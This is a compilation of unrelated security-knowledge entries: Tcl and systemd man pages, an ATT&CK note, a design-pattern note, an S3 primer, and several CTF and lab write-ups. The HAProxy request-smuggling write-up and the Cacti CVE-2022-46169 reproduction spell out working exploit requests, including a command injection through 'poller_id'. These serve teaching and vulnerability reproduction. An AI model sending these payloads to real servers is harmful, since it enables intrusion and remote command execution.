enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: flush.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH flush 3tcl 7.5 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME flush \- 为一个通道刷新缓冲的输出。 .SH "总览 SYNOPSIS" \fBflush \fIchannelId\fR .BE .SH "描述 DESCRIPTION" .PP 刷新为 \fIchannelId \fR缓冲的任何输出。\fIChannelId\fR 必须是一个从以前的 \fBopen\fR 或 \fBsocket\fR 命令返回的通道标识符,并且它必须是为写而打开的。如果这个通道在阻塞模式下,在所有被缓冲的输出被刷新到通道之前,命令不返回。如果通道在非阻塞下,在所有被缓冲的输出被刷新之前命令可以返回;剩余的将在后台刷新, (速度)与底层文件或设备吸收它的速度相同。 .SH "参见 SEE ALSO" file(n), open(n), socket(n) .SH "关键字 KEYWORDS" blocking, buffer, channel, flush, nonblocking, output .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/08/05 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1583-006-购买基础设施-web服务 ## 来自ATT&CK的描述 攻击者可以注册可在攻击目标期间使用的网络服务。有各种流行的网站供攻击者注册基于网络的服务,这些服务可以在攻击生命周期的后期阶段被滥用,例如在指挥和控制(网络服务)或通过网络服务渗透期间。使用常见的服务,如谷歌或Twitter提供的服务,使攻击者更容易隐藏在预期的噪音中。通过利用网络服务,攻击者可以使其难以在物理上(威胁追溯上)将行动与之联系起来。 ## 测试案例 利用github web服务构建恶意下载链接等。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,例如在指挥和控制(网络服务)或通过网络服务渗透期间。 ## 参考推荐 MITRE-ATT&CK-T1583-006 <https://attack.mitre.org/techniques/T1583/006/>
sec-knowleage
# Vaccine Distribution Center Let's take a look at the source code. The task consists of 3 part: Backend, Frontend and VIP. `Backend` is a simple php-nginx container with the actual challenge code. `Frontend` is HAProxy container. This is the user-facing service that redirects HTTP requests to `Backend` `VIP` is the bot that periodically visits the main page of the challenge with admin's credentials set. To better understand the architecture, take a look at the diagram: ![Diagram](diagram.png) Let's take a closer look at each of the parts: #### Backend index.php ```html <script> var identity = '<?php print(preg_replace("/[^a-z0-9_]+/i","",$_SERVER['HTTP_X_WHOAMI']));?>'; <?php if($_COOKIE['VIP_CODE'] === getenv("VIP_CODE")) { print("var isvip = true;"); print("var vaccine = '" . getenv("FLAG")."';"); } else { print("var isvip = false;"); print("var vaccine = 'none';"); } ?> </script> ... <script> function getScript() { var s = document.createElement("script"); s.setAttribute("src","./script.js"); document.body.appendChild(s); } setTimeout("getScript()",10000); </script> ``` script.js ```js if (!isvip || Date.now() < new Date("2022-06-06")) { //only VIPs get vaccine, and only when we decide document.location = 'https://insomnihack.ch/'; } function getVaccine() { fetch('http://'+identity+'/?vaccine='+vaccine) .then((response) => { console.log(response.json()); }); } //OK, it's time to give you the vaccine! setTimeout("getVaccine()",1000); ``` The VIP-bot visits the webpage with the correct cookies set, so `isvip` variable will be set and `vaccine` variable will be assigned with the value of the flag. After 10 seconds the script will be loaded that will send the flag to the server specified in the `identity` variable (which takes its value from `X-Whoami` HTTP header), if the condition: ``` if (!isvip || Date.now() < new Date("2022-06-06")) { ``` is met. This leads us to two conclusions: 1. We need to force VIP-bot to send the correct value of `X-Whoami` header 2. We need to bypass the JS check (or wait until 2022-06-06, but it's long after the CTF ends :( ) #### VIP ```python #!/usr/bin/python3 from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.chrome.options import Options import os import time import traceback chrome_options = Options() chrome_options.headless = True chrome_options.add_argument('--no-sandbox') while True: try: driver = webdriver.Chrome("/chromedriver", options=chrome_options) driver.set_page_load_timeout(30) driver.get("http://frontend/") time.sleep(1) driver.add_cookie({"name": "VIP_CODE", "value":os.environ.get("VIP_CODE"),"httpOnly": True}) driver.get("http://frontend/") time.sleep(30) driver.close() except: traceback.print_exc() ``` This looks standard for a client-side web challenge. However, we don't control the URL the bot visits (it only visits the main page), so it suggests looking for Cache Poisoning or Request Smuggling vulnerabilities. #### Backend This is the HAProxy container that redirects the requests to the `Frontend`. Two things are worth noticing: 1. The version is 2.0.24, which is not the latest one. 2. A non-standard `http-reuse always` configuration is used, meaning that the connection between `Backend` and `Frontend` is kept open between requests. ### Solution #### Injecting X-Whoami header With a little bit of googling we find out that this version of HAProxy is vulnerable to request smuggling with CVE-2021-40346. The vulnerability is described in detail at [https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/) By sending the following payload: ``` POST /index.html HTTP/1.1 Host: example.com Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 42 GET / HTTP/1.1 X-Whoami: 1295505720 DUMMY: ``` (notice no new line at the end!) we can make the second request to be stored in a buffer until the next request is made, effectively making it the prefix of the next request. This means, if the VIP makes a connection and requests the main webpage with a request similar to: ``` GET / HTTP/1.1 Host: frotend Cookie: VIP_CODE=<secret_code> ``` the actual request that will be forwarded to the backend will be: ``` GET / HTTP/1.1 X-Whoami: 1295505720 DUMMY:GET / HTTP/1.1 Host: frotend Cookie: VIP_CODE=<secret_code> ``` which solved the first part of the challenge. #### Bypassing the condition in script.js After a few hours of looking for some clever JS solution it was clear to me that there is no way to bypass the date check on JS level. However, it was possible to request only the part of the file with `Range` header (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Range). By sending the following header while requesting the script.js file: ``` Range: bytes=152-1023 ``` we receive the file starting from position 152, so after the date check. We can inject it in the same way as we injected `X-Whoami` header in the first part. The payload will be: ``` POST /index.html HTTP/1.1 Host: example.com Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 52 GET /script.js HTTP/1.1 Range: bytes=152-1023 DUMMY: ``` #### Getting the flag Now we need to keep sending payloads for injecting `X-Whoami` and `Range` header and hope to win the following race: 1. We poison the backend with first payload 2. The VIP-bot visits the webpage and loads `index.php` with `X-Whoami` header provided by us 3. The VIP-bot waits 10 seconds before loading `script.js` 4. During those 10 seconds we inject the second payload. 5. The VIP-bot loads the script with injected `Range` header, bypasing the date check at the beginning of the file. If we did the following on the public instance it would leak our exploit to the other teams, so it was helpful to ask the challenge author to spawn the private instance for us. After a couple of minutes needed to win a race we can read the flag from our server's HTTP logs: ``` INS{5muggl1ng_the_r4nge!} ```
sec-knowleage
## 外观(Facade) ### Intent 提供了一个统一的接口,用来访问子系统中的一群接口,从而让子系统更容易使用。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f9978fa6-9f49-4a0f-8540-02d269ac448f.png"/> </div><br> ### Implementation 观看电影需要操作很多电器,使用外观模式实现一键看电影功能。 ```java public class SubSystem { public void turnOnTV() { System.out.println("turnOnTV()"); } public void setCD(String cd) { System.out.println("setCD( " + cd + " )"); } public void startWatching(){ System.out.println("startWatching()"); } } ``` ```java public class Facade { private SubSystem subSystem = new SubSystem(); public void watchMovie() { subSystem.turnOnTV(); subSystem.setCD("a movie"); subSystem.startWatching(); } } ``` ```java public class Client { public static void main(String[] args) { Facade facade = new Facade(); facade.watchMovie(); } } ``` ### 设计原则 最少知识原则:只和你的密友谈话。也就是说客户对象所需要交互的对象应当尽可能少。
sec-knowleage
'\" t .TH "BOOTUP" "7" "" "systemd 231" "bootup" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" bootup \- 系统启动流程 .SH "描述" .PP 在系统启动过程中要涉及多个不同的组件。 按下电源按钮后,首先BIOS/UEFI做最基本的硬件自检与初始化, 然后加载预设/手动选择的磁盘/网络上的引导加载器(例如GRUB2), 引导加载器进一步从磁盘/网络上加载操作系统内核(例如Linux)。 对于Linux来说,内核将会(可选的)解压一个initrd(initial RAM disk)镜像(可以用 \fBdracut\fR(8) 之类的工具生成), 并执行由"rdinit="内核引导选项指定的init程序(例如 \fBsystemd\fR(1)) 以寻找并挂载根文件系统。 完成根文件系统的挂载之后,内核启动由"init="内核引导选项指定的init程序(例如 \fBsystemd\fR(1)) 以接管系统的控制权。 该init程序将会负责检测所有其他的硬件设备、挂载必要的文件系统、启动所有必要的服务,等等。 .PP 关机时, init程序将会停止所有服务、 卸载所有文件系统、 (可选的)返回initrd环境卸载根文件系统, 最后关闭电源。 .PP 其他有关系统启动流程的信息可以参考 \fBboot\fR(7) 手册。 .SH "常规启动流程" .PP 当成功挂载了"root="内核引导选项指定的根文件系统之后,内核将启动由"init="内核引导选项指定的init程序, 从这个时间点开始,即进入了"常规启动流程": 检测硬件设备并加载驱动、挂载必要的文件系统、启动所有必要的服务,等等。对于 \fBsystemd\fR(1) 系统来说,上述"init程序"就是 systemd 进程, 而整个"常规启动流程"也以几个特殊的 target 单元(详见 \fBsystemd.target\fR(5)) 作为节点,被划分为几个阶段性步骤。 在每个阶段性步骤内部,任务是高度并行的, 所以无法准确预测同一阶段内单元的先后顺序, 但是不同阶段之间的先后顺序总是固定的。 .PP 当启动系统时, systemd 将会以 default\&.target 为启动目标, 借助单元之间环环相扣的依赖关系,即可完成"常规启动流程"。 default\&.target 通常只是一个指向 graphical\&.target(图形界面) 或 multi\-user\&.target(文本控制台) 的软连接。 为了强制启动流程的规范性以及提高单元的并行性, 预先定义了一些具有特定含义的 target 单元。详见 \fBsystemd.special\fR(7) 手册。 .PP 下面的图表解释了 这些具有特定含义的 target 单元之间的依赖关系 以及各自在启动流程中的位置。 图中的箭头表示了单元之间的依赖关系与先后顺序, 整个图表按照自上而下的时间顺序执行。 .sp .if n \{\ .RS 4 .\} .nf local\-fs\-pre\&.target | v (各个 mounts 与 (各个 swap (各个加密块设备 fsck services\&.\&.\&.) devices\&.\&.\&.) devices\&.\&.\&.) (各个底层服务: (各个底层虚拟 | | | udevd, tmpfiles, 文件系统 mounts: v v v random seed, mqueue, configfs, local\-fs\&.target swap\&.target cryptsetup\&.target sysctl, \&.\&.\&.) debugfs, \&.\&.\&.) | | | | | \e__________________|_________________ | ___________________|____________________/ \e|/ v sysinit\&.target | ____________________________________/|\e________________________________________ / | | | \e | | | | | v v | v v (各个 (各个 | (各个 rescue\&.service timers\&.\&.\&.) paths\&.\&.\&.) | sockets\&.\&.\&.) | | | | | v v v | v \fIrescue\&.target\fR timers\&.target paths\&.target | sockets\&.target \&. | | | \&. \e_________________ | ___________________/ \&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&.\&. \e|/ v basic\&.target | ____________________________________/| emergency\&.service / | | | | | | v v v v \fIemergency\&.target\fR display\- (图形界面所必需 (各个系统服务) manager\&.service 的各个系统服务) | | | | | | v | | \fImulti\-user\&.target\fR | | | \e_________________ | _________________/ \e|/ v \fIgraphical\&.target\fR .fi .if n \{\ .RE .\} .PP 用\fI斜体\fR标识的目标单元经常被用作启动目标。 有两种方法可以指定启动目标: (1)使用 \fIsystemd\&.unit=\fR 内核引导选项(参见 \fBsystemd\fR(1)); (2)使用 default\&.target 软连接。 .PP 因为 timers\&.target 以异步方式包含在 basic\&.target 中, 所以 timer 单元可以依赖于在 basic\&.target 之后才启动的服务。 .SH "INITRD(INITIAL RAM DISK) 启动流程" .PP 在initrd内部, 也可以将 systemd 用作init程序(由"rdinit="内核引导选项指定)。 .PP 此时 initrd\&.target 将是默认目标。 initrd内部启动流程的上半部分与前一小节 basic\&.target 之前的部分完全相同。 随后的启动流程将以 initrd\&.target 为目标(如下图所示)。 当根文件系统设备可用时,将到达 initd\-root\-device\&.target 目标。 如果成功的将根文件系统挂载到 /sysroot 目录,那么 sysroot\&.mount 单元将被启动,然后进一步到达 initrd\-root\-fs\&.target 目标。 initrd\-parse\-etc\&.service 将会分析 /sysroot/etc/fstab 文件以挂载 /usr (若需要) 与带有 \fIx\-initrd\&.mount\fR 标记的挂载点。 所有这些挂载点都将被挂载到 /sysroot 之下,然后流程到达 initrd\-fs\&.target 目标。再接下来 initrd\-cleanup\&.service 将会使用 \fBsystemctl \-\-no\-block isolate\fR 命令启动 initrd\-switch\-root\&.target 目标。 因为 isolate 表示立即停止所有在新的目标单元中不需要的进程, 所以此动作实际上是为接下来切换根目录做预先的准备(也就是清理环境)。 最后,启动 initrd\-switch\-root\&.service 服务,将系统的根目录切换至 /sysroot 目录。 .sp .if n \{\ .RS 4 .\} .nf (之前的流程与上一小节完全相同) : v basic\&.target | emergency\&.service ______________________/| | / | v | initrd\-root\-device\&.target \fIemergency\&.target\fR | | | v | sysroot\&.mount | | | v | initrd\-root\-fs\&.target | | | v v initrd\-parse\-etc\&.service (各个自定义的 | initrd services\&.\&.\&.) v | (sysroot\-usr\&.mount 以及 | fstab 中带有 x\-initrd\&.mount | 标记的各个挂载点) | | | v | initrd\-fs\&.target \e______________________ | \e| v initrd\&.target | v initrd\-cleanup\&.service (使用 isolates 启动 initrd\-switch\-root\&.target) | v ______________________/| / v | initrd\-udevadm\-cleanup\-db\&.service v | (各个自定义的 | initrd services\&.\&.\&.) | \e______________________ | \e| v initrd\-switch\-root\&.target | v initrd\-switch\-root\&.service | v 切换到主机上的操作系统 .fi .if n \{\ .RE .\} .SH "关机流程" .PP systemd 系统在关机时同样遵循固定的流程, 具体如下图所示: .sp .if n \{\ .RS 4 .\} .nf (与所有系统服务互斥) (与所有文件系统 mounts, swaps, cryptsetup devices 互斥) | | v v shutdown\&.target umount\&.target | | \e____________________________________ ______/ \e / v (各个底层 services) | v final\&.target | _____________________________________/ \e_________________________________ / | | \e | | | | v v v v systemd\-reboot\&.service systemd\-poweroff\&.service systemd\-halt\&.service systemd\-kexec\&.service | | | | v v v v \fIreboot\&.target\fR \fIpoweroff\&.target\fR \fIhalt\&.target\fR \fIkexec\&.target\fR .fi .if n \{\ .RE .\} .PP 用\fI斜体\fR标识的目标单元经常被用作关机目标。 .SH "参见" .PP \fBsystemd\fR(1), \fBboot\fR(7), \fBsystemd.special\fR(7), \fBsystemd.target\fR(5), \fBdracut\fR(8) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
--- title: S3 介绍 --- <center><h1>S3 介绍</h1></center> --- 对象存储(Object-Based Storage),也可以叫做面向对象的存储,现在也有不少厂商直接把它叫做云存储。 说到对象存储就不得不提 Amazon,Amazon S3 (Simple Storage Service) 简单存储服务,是 Amazon 的公开云存储服务,与之对应的协议被称为 S3 协议,目前 S3 协议已经被视为公认的行业标准协议,因此目前国内主流的对象存储厂商基本上都会支持 S3 协议。 在 Amazon S3 标准下中,对象存储中可以有多个桶(Bucket),然后把对象(Object)放在桶里,对象又包含了三个部分:`Key`、`Data` 和`Metadata` </br> <img width="800" src="/img/1650004629.png"></br> - Key 是指存储桶中的唯一标识符,例如一个 URL 为:https://teamssix.s3.ap-northeast-2.amazonaws.com/flag,这里的 teamssix 是存储桶 Bucket 的名称,/flag 就是 Key - Data 就很容易理解,就是存储的数据本体 - Metadata 即元数据,可以简单的理解成数据的标签、描述之类的信息,这点不同于传统的文件存储,在传统的文件存储中这类信息是直接封装在文件里的,有了元数据的存在,可以大大的加快对象的排序、分类和查找。 操作使用 Amazon S3 的方式也有很多,主要有以下几种: - AWS 控制台操作 - AWS 命令行工具操作 - AWS SDK 操作 - REST API 操作,通过 REST API,可以使用 HTTP 请求创建、提取和删除存储桶和对象。 > 参考资料: > > https://www.ithome.com/0/501/133.htm > > https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/Welcome.html <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# Cacti 前台命令注入漏洞(CVE-2022-46169) Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。 参考链接: - <https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf> - <https://mp.weixin.qq.com/s/6crwl8ggMkiHdeTtTApv3A> ## 漏洞环境 执行如下命令启动一个Cacti 1.2.22版本服务器: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。 实际上初始化的过程就是不断点击“下一步”,直到安装成功: ![](1.png) 这个漏洞的利用需要Cacti应用中至少存在一个类似是`POLLER_ACTION_SCRIPT_PHP`的采集器。所以,我们在Cacti后台首页创建一个新的Graph: ![](2.png) 选择的Graph Type是“Device - Uptime”,点击创建: ![](3.png) ## 漏洞利用 完成上述初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包: ``` GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ``` ![](4.png) 虽然响应包里没有回显,但是进入容器中即可发现`/tmp/success`已成功被创建: ![](5.png)
sec-knowleage
## Try harder! (misc/stego, 200p) ### PL Version [ENG](#eng-version) W zadaniu dostajemy dwa archiwa: * gzip o nazwie part0 * zip o nazwie part3, wymagające hasła do dekodowania Rozpoczęliśmy od analizy archiwum part0 i pierwsze co rzuciło sie w oczy to fakt, że 4MB archiwum dekompresowało sie do 4GB pliku jpg. Analiza archiwum za pomocą hexedytora pozwoliła zauważyć, że w rzeczywistości archiwum jest wypełnione dużą ilością dziwngo paddingu. Okazało się, że był to plik jpg tylko z rozszerzenia - tak naprawdę był to DOS/MBR bootsector. Jego zamontowanie daje dostęp do obazka: ![](./pk8gZNX.jpg) Analiza bootsectora za pomocą hexedytora pozwala znaleźć jeszcze linki do serwisu imgur, ale nadal nic przydatnego. Analiza archiwum part0 pomocą binwalka pozwala znaleźć wewnatrz ukryty [plik mp3](./3pm.redrah-yrt.mp3), który jest odwróconym nagraniem słów `try harder`. Niemniej analiza tego pliku pozwala znaleźć ciekawy string zapisany w tagach ID3: `aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbATXXX` Który po dekodowaniu jako base-64 daje nam: `http://dctf.def.camp/__dnld__2015__/part1.html` Pod znalezionym urlem znajdujemy [plik html](./source.txt). Analiza źródła pozwala zauważyć że znajdują się tam białe znaki ułożone w sposób nieprzypadkowy. Ekstrakcja białych znaków i przetworzenie ich za pomocą skryptu: x = open('wut.txt', 'rb').read() for i in range(256): if i == ord(' ') or i == ord('\t'): continue x = x.replace(chr(i), '') x = x.replace(' ', '0') x = x.replace('\t', '1') open('wut2.txt', 'wb').write(x) Dała jako wynik: ['01010011', '01100101', '01100011', '01101111', '01101110', '01100100', '00100000', '01110000', '01100001', '01110010', '01110100', '00100000', '01101001', '01101110', '00100000', '01101101', '01101001', '01110011', '01100011', '00110010', '00110000', '00110000', '01110000', '01100001', '01110010', '01110100', '00110010', '00101110', '01111010', '01101001', '01110000'] Second part in misc200part2.zip Kolejne archiwum zawiera pliki [file1.bmp](./file1.bmp) oraz [file2](./file2). Analiza drugiego pliku pozwala zauważyć, że bajty w nim można także intepretować jako obraz bmp i że zawiera on tekst: ![](./second.png) `binary_and_xor_is_how_we` Oba pliki mają identyczne rozmiary i wewnętrznie przypominają bitmapy. Ale tam gdzie powinien być nagłówek bmp w drugim pliku, znajdowały się zera. Więc przekeiliśmy nagłówek z pierwszego pliku i jako efekt uzyskaliśmy obraz z całym tekstem: `binary_and_xor_is_how_we_all_start` ![](./fullsecond.bmp) Testujemy tą wiadomość jako hasło dla pliku part3.zip i bingo! Rozpakowujemy archiwum i znajdujemy tam [zdjecie](./part3.jpg) które zawiera szukaną flagę: `DCTF{711389441a47c19a244c8473ee5aceff}` ### ENG Version We get two archives: * gzip named part0 * zip named part3, encrypted with a password We start with analysis of the part0 archive and first thing we notice is that 4MB archive decompresses into a 4GB jpg file. In reality it turned out that is isn't a jpg file at all, it's a DOS/MBR bootsector. Mounting it gives the picture: ![](./pk8gZNX.jpg) Further analysis of bootsector file with hexeditor gives us also some links to imgur but nothing useful. Further analysis of the part0 archive with binwalk give us a hidden [mp3 file](./3pm.redrah-yrt.mp3), containing a reversed recording of `try harder`. Analysis of this file allows us to find an interesting string inside ID3 tags: `aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbATXXX` Decoding it as base64 gives: `http://dctf.def.camp/__dnld__2015__/part1.html` The URL holds a single [html file](./source.txt). Source code analysis shwows that there is a very particular layuot of whitespaces. Extraction of whitespace characters and processing with: x = open('wut.txt', 'rb').read() for i in range(256): if i == ord(' ') or i == ord('\t'): continue x = x.replace(chr(i), '') x = x.replace(' ', '0') x = x.replace('\t', '1') open('wut2.txt', 'wb').write(x) Gives us: ['01010011', '01100101', '01100011', '01101111', '01101110', '01100100', '00100000', '01110000', '01100001', '01110010', '01110100', '00100000', '01101001', '01101110', '00100000', '01101101', '01101001', '01110011', '01100011', '00110010', '00110000', '00110000', '01110000', '01100001', '01110010', '01110100', '00110010', '00101110', '01111010', '01101001', '01110000'] Second part in misc200part2.zip Next archive contains [file1.bmp](./file1.bmp) and [file2](./file2). Second file analysis shows that it can be also interpreted as bmp and contains some text: ![](./second.png) `binary_and_xor_is_how_we` Both files have identical size, and looks like bmp files when looked at in hexeditor - but second file's header was replaced with zeroes. So we copied header from first file to second, and as a result we got a picture with full text: `binary_and_xor_is_how_we_all_start` ![](./fullsecond.bmp) We try this message as a password for part3.zip and bingo! We decompress the archive and find a single [picture](./part3.jpg) with the flag: `DCTF{711389441a47c19a244c8473ee5aceff}`
sec-knowleage
# stringzz Binary Exploitation, 300 points ## Description: > Use a format string to pwn this program and get a flag. ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #define FLAG_BUFFER 128 #define LINE_BUFFER_SIZE 2000 void printMessage3(char *in) { puts("will be printed:\n"); printf(in); } void printMessage2(char *in) { puts("your input "); printMessage3(in); } void printMessage1(char *in) { puts("Now "); printMessage2(in); } int main (int argc, char **argv) { puts("input whatever string you want; then it will be printed back:\n"); int read; unsigned int len; char *input = NULL; getline(&input, &len, stdin); //There is no win function, but the flag is wandering in the memory! char * buf = malloc(sizeof(char)*FLAG_BUFFER); FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); printMessage1(input); fflush(stdout); } ``` ## Solution: The flag is somewhere in the heap, but there's a pointer to it on the stack. So, if we locate it and send it to `printf` as a string (`%s`), we'll get the flag. We just have to go far enough down the stack. We'll use the "format string direct access" syntax to access the n'th variable on the stack and cast it to a string pointer. The syntax starts with `%`, then an index, then `$` and then the format specifier. So, `%17$x` would jump to the seventeenth member of the stack and print 